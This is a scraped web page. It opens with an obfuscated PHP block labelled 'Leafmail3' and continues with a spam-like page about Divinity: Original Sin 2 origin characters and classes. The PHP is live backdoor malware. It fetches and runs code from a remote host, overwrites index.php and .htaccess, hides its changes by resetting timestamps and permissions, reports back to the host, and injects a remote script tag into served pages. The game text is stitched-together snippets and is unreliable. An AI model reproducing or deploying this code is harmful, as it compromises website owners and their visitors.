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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<h1>Divinity 2 origin character classes</h1>

  
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<p><strong>Divinity 2 origin character classes.  We will have to wait and see.  With a variety of crowd control and mobility spells at their disposal, they pair very well with a mixed team that can help them shred away the enemy's physical and magic armor, allowing their crowd control abilities to take effect.  We would like to show you a description here but the site won&rsquo;t allow us.  Classes in this game are broken down into three groups, depending on their focus and playstyle, the groups are: warrior, mage and survivor.  But I'm also lazy to find out what class they actually are from the start.  His quest line is fascinating and gives a ton of insight into the world, but also spoils a pretty significant reveal in a pretty anticlimactic way.  Mine are not.  Constitution +2 -- Constitution determines how much Vitality you have. &quot; Talents Executioner: Gain 2 Action Points after dealing a killing blow .  Winner of GameSpot&rsquo;s &ldquo;PC Game of The Year 2014&rdquo;.  Nov 18, 2020 · Many people compare Original Sin 2 to Dungeons &amp; Dragons due to its vast freedom of choice.  You should modify your own starting character as much as possible.  So i split up and use my adv.  In fact, the game immediately Original Sin 2 Characters is a page listing all characters (both PC and NPC) that appear in Divinity: Original Sin II.  Sep 26, 2017 · Divinity: Original Sin 2 doesn't include 'classes,' per se.  Lohse's default class is Enchanter.  Your Class dictates what your character can and cannot do in combat, as well as some other interactions. Divinity: Original Sin 2 is no different, especially when it comes to the undead Fane.  The game allows for countless playstyles, being one of the most lenient RPGs when it comes to choosing Sep 16, 2017 · The 'classes' are really only pre-defined stats+skills, in addition to starting equipment.  See Builds for more ideas on how to allocate points Dec 22, 2022 · There are several prescripted character you can chose as your main character in Divinity Original Sin 2, however you can create your own characters as you like.  Sep 10, 2017 · The Classes of Divinity: Original Sin 2 play a big role in the game.  Sebille is a beautiful elf, and a former slave of lizards.  Origin Story &quot;Famed, of course, for my unique red skin and unparalleled skills as a general of the House of War, I, the Red Prince, was raised within the vast palaces of the fabled Forbidden City.  Apr 10, 2018 · Divinity Original Sin 2 Guides Divinity Original Sin 2 Guides.  When you make a character, you can choose a customizable class preset that gives you points in a couple combat abilities, and this Rivelon, has six races, and 7 gods.  Aug 17, 2024 · Elves are a playable race in Divinity: Original Sin 2.  May 9, 2018 · Starting in Act 2 you will have your recruited Origin characters, and gain the ability to recruit mercenaries (if you feel like you really need to swap someone out, or if one of your characters dies permanently).  He sent me to save the elves I grew up amongst.  See the starting class as your starting weapon.  Intelligence +1 -- Intelligence increases your damage with Intelligence-based weapons and skills.  Oct 26, 2023 · Divinity: Original Sin 2 has always been praised for its great variety of builds and classes.  Sep 19, 2017 · There is no reason you ever need to know what &quot;class&quot; you selected originally.  &quot;Heals allies or smashes skulls, depending on the direction of the wind.  The Red Prince's default class is Fighter.  They are skilled sourcerers, and are able to consume the flesh in order to gain their memories.  All of origin companions are first met on Merryweather and can be recruited later when the main character reaches Fort Joy.  However, he's also an Undead, which means he can't heal through curative magics.  Oct 28, 2022 · Dwarves are geared to Best start as a Battlemage being that they start with Sturdy (+10% Max HP and +5% Dodging) Petrifying Touch (Earth Damage Touch Ranged Spell) and Blinding Squall (Air Damage Area Blind) if you play as BEAST or if you make a Custom Character (Regardless of race) you get Dome of Protection (restores Phys and Magic Armor to Allies in Area, lasts about 5 turns) making them A Sep 14, 2017 · Fane is a Companion or Origin in Divinity: Original Sin 2.  You can build a character with any combination of skills limited only by the points you put in the associated Combat Abilities.  &diams;️ See ALL DOS2 Guides; Beginners Guide; Which Build is Right for You? 10 Best Skills For Any Build; Party Combinations Guide: Magic, Physical and Mixed; The Sourceror&rsquo;s Guide to Lone Wolf; Pillars of Eternity 2 Guides Pillars of Eternity 2 Guides.  Fane as a Necromancer Ifan as an archer. .  Some talents are incompatible with others, so plan accordingly.  Fan-made planner for Divinity: Original Sin 2 - Definitive Edition.  Pick an Origin character.  Dec 23, 2022 · Cleric is a preset class in Divinity: Original Sin II.  One character starts with Zandalor's Trunks and a Golden Grail.  Apr 12, 2018 · As a tips : A cross classes that work very well based on DOS1 Shadowblade and ported to DOS2 is an Elf with 1 thieviery and 1 necromancy, 1 in Intel, Dext, and Wits, than max necr (with stuff and points) at around 5.  Aug 25, 2020 · I've never really played the game past the tutorial and am wondering as I consider starting anew, which origin would be best from a lore and story perspective? Does a certain character relate best to the story or more in common with more npcs or enemies in the game? Does a particular character have a great possibility to impact the world than the others? Jul 20, 2024 · BG3 players know how important the &quot;origin&quot; characters can be in Larian's games.  But the war changed everything.  How would you look after aeons in some ghastly crypt? But your people are rather prone to death.  &quot;Divinity: Original Sin 2 is a single- and multiplayer top-down, party-based role-playing game with pen &amp; paper RPG-like levels of freedom Jun 20, 2021 · Divinity: Original Sin 2 is no ordinary roleplaying game (RPG).  He also starts as a dual-wielding wand user.  Before you start, you need to create your own main character.  Lohse is enchanter for sure, Red Prince is fighter, Ifan is a wayfarer and I believe Sebille is a rogue.  Some talents have requirements in order to be unlocked, often tied to leveling or investment in specific Skills.  Divinity: Original Sin 2 hosts ten unique ability schools from which to draw forth powerful attacks and devastating magic.  Divines can use this information to optimize their characters by selecting the right combination of stats and perks, as well as identifying possible Companions.  After the main character escapes Fort Joy they can be recruited one last time on the Lady Vengeance.  &quot;Elegant and lithe, elves are a key race within the Divinity Original Sin 2 world. You can also choose a custom character if you don't like the default origins, but be sure to choose Tags for your customized character, which unlocks special dialogues in the game. Sep 2, 2018 · Classes available in Divinity Original Sin 2 will be shown below.  Dec 18, 2022 · Divinity: Original Sin 2 continues to attract new players long after its release.  Much of its success is credited to the blend of experimentation and adventure that await you in every turn.  It is irrelevant to game mechanics that you picked Cleric or Ranger beyond what skill points you invested in. Granted, players can The Red Prince is an Origin or a Companion in Divinity Original Sin 2.  Sep 16, 2021 · Each character will always have a source hunter backpack, 200 gold, a minor healing potion,a resurrect scroll, a paper with the character's orders, and a book on the history of source hunters.  &quot;A daring mace-wielder risking life and limbs to decimate evil head on.  Nov 11, 2020 · Undead has surprisingly great synergy with necromancy and consumables in very creative ways especially in my current 2 lone wolves playthrough: 1.  Divinity: Original Sin II is the sixth game in the Divinity series and indirect 